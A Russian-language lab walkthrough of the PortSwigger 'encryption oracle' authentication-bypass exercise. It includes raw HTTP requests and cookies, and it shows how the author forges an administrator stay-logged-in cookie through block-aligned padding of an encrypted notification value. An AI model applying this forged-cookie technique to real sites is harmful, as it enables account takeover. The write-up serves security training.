Для решения лабы нужно получить доступ к акаунту администратора и удалить пользователя carlos.
Для входа в учетную запись даны креды wiener:peter.
https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net/
Solution
Ну-с. Пойду в лк.
Интересно выглядит кнопка Stay logged in.

POST /login HTTP/2
Host: 0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Cookie: session=I8UPPXnLzqCrZwOpp28OoYlvAPQtbeXF
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=YKXkcNTbLGhr5JyDir3kTEiDj7Ie3JV0&username=wiener&password=peter&stay-logged-in=on
Гляну ответ:
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: stay-logged-in=kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=kK2aFqcD4Gvdz76RX02fjdmX08Aj6F1Z; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Нам выставили куку stay-logged-in=kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d. Попробую разобрать эту строку. Символы % похожи на URL кодировку. Уберу их:
kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d
kj2E3H822eilFC/MhDqlSg2eqbRqfN9vwTWfvdVlzPc=
Опа. А это уже похоже на base64:
cu63: $ cat s1_decode
�=��6��%
cu63:Authentication bypass via encryption oracle/ (main✗) $ hexdump -C s1_decode
00000000 92 3d 84 dc 7f 36 d9 e8 a5 |.=...6...|
00000009
cu63: $ hexdump -C s2_decode
00000000 32 10 ea 95 28 36 7a a6 d1 a9 f3 7d bf 04 d6 7e |2...(6z....}...~|
00000010 f7 55 97 33 dc |.U.3.|
00000015
Ничего путного не вышло. Но еще может пригодиться. Попробую поменять почту.
POST /my-account/change-email HTTP/2
Host: 0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Cookie: session=kK2aFqcD4Gvdz76RX02fjdmX08Aj6F1Z; stay-logged-in=kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net/my-account?id=wiener
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
email=wiener123%40normal-user.net&csrf=98GuOOQUR0oGstZWnErdQJypOGIQpoZ9
Все еще ничего. Пошел искать дальше… Оставлю комментарий:
POST /my-account/change-email HTTP/2
Host: 0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Cookie: session=kK2aFqcD4Gvdz76RX02fjdmX08Aj6F1Z; stay-logged-in=kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net/my-account?id=wiener
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
email=wiener123%40normal-user.net&csrf=98GuOOQUR0oGstZWnErdQJypOGIQpoZ9
Вот ответ:
HTTP/2 302 Found
Location: /post?postId=2
Set-Cookie: notification=YMvDCSij3qmxSLxU8tbfiZBLsDI30YXtW5qj2bdNt%2fY%3d; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0
А вот это уже интереснее. Опять кука - notification=YMvDCSij3qmxSLxU8tbfiZBLsDI30YXtW5qj2bdNt%2fY%3d;. Формат похожий. Гляну ее в base64:
YMvDCSij3qmxSLxU8tbfiZBLsDI30YXtW5qj2bdNt%2fY%3d
YMvDCSij3qmxSLxU8tbfiZBLsDI30YXtW5qj2bdNt/Y=
Очень знакомый формат. А вот и подозрительная ошибка.

Этот ответ я получил, отправив вот этот запрос:
GET /post?postId=2 HTTP/2
Host: 0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Cookie: notification=YMvDCSij3qmxSLxU8tbfiZBLsDI30YXtW5qj2bdNt%2fY%3d; session=kK2aFqcD4Gvdz76RX02fjdmX08Aj6F1Z; stay-logged-in=kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net/post/comment
Origin: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Ничего кроме вот этой странной куки там нет. Попробую подложить в нее значение из stay-logged-in:
GET /post?postId=2 HTTP/2
Host: 0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Cookie: notification=kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d; session=kK2aFqcD4Gvdz76RX02fjdmX08Aj6F1Z; stay-logged-in=kj2E3H822eilFC%2fMhDqlSg2eqbRqfN9vwTWfvdVlzPc%3d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net/post/comment
Origin: https://0ac3003e0423d535803a3aa200b500b7.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
О как:

Значит сайт расшифровывает эту куку notification. А введя информацию в поле mail, мы можем ее зашифровать. Это и сделаем. Но заменим wiener на administrator:1759578783286:
YMvDCSij3qmxSLxU8tbfifZV1jrTWp5GpcpiENE%2fjBhyvW9DySZgQm1uxKYGFjRoToVxIz99qL5gwcTuW%2f4ghA%3d%3d
YMvDCSij3qmxSLxU8tbfifZV1jrTWp5GpcpiENE/jBhyvW9DySZgQm1uxKYGFjRoToVxIz99qL5gwcTuW/4ghA==
Подложить данное значение в stay-logged-in у меня не вышло. Нужно глянуть, все ли корректно с данной строкой. Заметил следующее: когда я передал значение из stay-logged-in, то мне вывело только сообщение winer:1759578783286. В случае с email присутствует сообщение: Invalid email address: . Видимо оно лежит в зашифрованном виде в ключе. Попробую его обрезать. Словил вот такую ошибку:

Хм. Гадать, что есть наши данные, а что добавочные - проблематично. Из сообщения понятно, что блоки равны 16 байтам. Значит нам нужно, чтобы Invalid email address: + что-то имели длину 32. Для этого нужно добавить 9 символов:
YMvDCSij3qmxSLxU8tbfiQfNmRPUy6GSBGerpWxLkBtipafLqdCtHKZdAP5H6VL0TkHT8P2eNj6C5czDC8aJCQ%3d%3d
YqWny6nQrRymXQD+R+lS9E5B0/D9njY+guXMwwvGiQk=
Идеально:

Ура. Свершилось:

Открою данную страницу в браузере и удалю пользователя:
